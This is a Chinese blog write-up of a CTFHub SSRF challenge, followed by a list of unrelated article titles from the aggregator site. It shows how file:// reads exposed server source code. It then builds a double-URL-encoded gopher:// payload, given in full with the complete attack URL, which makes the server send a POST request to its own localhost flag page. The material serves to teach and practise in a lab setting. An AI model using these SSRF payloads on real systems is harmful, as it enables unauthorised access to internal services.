当前位置: 首页 > article >正文

CTFHUB SSRF POST小记

这关考察的是gopher伪协议构造post请求;

gopher伪协议总结:SSRF笔记整理-CSDN博客

有很多的细节需要注意

  1. 格式:gopher://192.168.232.125:80/_+下面url编码后的内容
  2. 默认访问70端口,访问web时需要改为80端口
  3. %0A时linux下的换行符,windows下需要改为%0D%0A(小写也行,window不区分大小写)
  4. gopher伪协议的数据的第一字符不识别;需要用字符填充代替
  5. POST请求需要一些必须的头部字段

首先进入CTFHUB题目界面;

通过题目知道这是一道POST请求;并且用了curl进行远程资源的请求

访问目标地址发现是空白页面;网页导航栏中有url的参数信息;肯定是有ssrf信息的

通过bp抓取上传包,通过修改url=file:///var/www/html/index.php可以查看index.php的内容;可以看到文件中是通过curl_exec()函数请求远程资源的;curl支持很多的伪协议,http,file,gopher,dict等

通过改变url=file:///var/www/html/flag.php可以查看flag.php的内容;可以发现flag中的内容分为两部分:host地址验证+key值验证;

修改url=http://127.0.0.1/flag.php;发现出现了一个文本框;而且key值也附带了

通过输入123然后进行抓包分析;可以看到post请求包的格式;这里验证的host字段;通过添加X-Forwarded-For字段也是无法绕过的;只能用gopher伪协议

构造gopher伪协议的post请求

必须要有post字段、host字段、文本长度、文本类型、空白行、key值内容

格式和内容如下:

长度要和输入内容数量一致;文本类型需要查看原始post请求中的类型

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length:  36
Content-Type: application/x-www-form-urlencoded

key=28bcbd94a544c291db4c1dd6204b352e

需要对这段内容进行两次urlencode编码(因为浏览器会自动进行urldecode解析且到达目的地之前需要两次url解码:中转网站解析+目标解析)

在线编码地址:在线Unicode编码转换-Unicode和ASCII在线互转-中文转Unicode工具 (jsons.cn)

将上面的文本复制到加密选项中;加密结果如下

此时需要将其中的%0A全部换成%0D%0A;可以直接手动替换;也可以复制到文本中利用文档替换功能进行替换(ctrl+T);替换完成后再次进行url加密得到目标post内容

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D28bcbd94a544c291db4c1dd6204b352e

构造payload:(key值需要根据实际情况改动)

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

完整访问url

http://challenge-7bdc76a73ec76e19.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

可以看到输出了flag

10


http://www.kler.cn/a/228698.html

相关文章:

  • ChromeOS 132 版本更新
  • MySQL 篇 - Java 连接 MySQL 数据库并实现数据交互
  • BUUCTF_Web([GYCTF2020]Ezsqli)
  • 计算机毕业设计Python+卷积神经网络租房推荐系统 租房大屏可视化 租房爬虫 hadoop spark 58同城租房爬虫 房源推荐系统
  • 什么是三高架构?
  • 什么宠物最好养?
  • 2024最新版Sublime Text 4安装使用指南
  • VLM 系列——MoE-LLaVa——论文解读
  • 《Python 网络爬虫简易速速上手小册》第1章:Python 网络爬虫基础(2024 最新版)
  • Palworld幻兽帕鲁自建服务器32人联机开黑!
  • layui
  • AI专题:海外科技巨头指引,AI主线逻辑依旧坚挺
  • MySQL学习记录——삼 库的操作
  • ES6中新增Array.of()函数的用法详解
  • python Flask 写一个简易的 web 端程序(附demo)
  • Flutter 网络请求之Dio库
  • 【QT+QGIS跨平台编译】之二十五:【geos+Qt跨平台编译】(一套代码、一套框架,跨平台编译)
  • 【机器学习】某闯关类手游用户流失预测
  • 【算法】枚举——蓝桥杯、日期统计、特殊日期(位数之和)、2023、特殊日期(倍数)、跑步锻炼
  • 安科瑞消防设备电源监控系统在杭后旗医院项目的设计与应用
  • VUE3+TS使用OpenSeadragon学习之旅,实现多图片切换效果
  • sklearn实现数据标准化(Standardization)和归一化(Normalization)
  • 通过大疆PSDK,将第三方摄像头的视频流推到M300遥控器显示
  • Android 应用添加系统签名权限的几种方式实现介绍
  • 算法每日一题: 使用循环数组所有元素相等的最少秒数 | 哈希
  • 按时间维度统计次数案例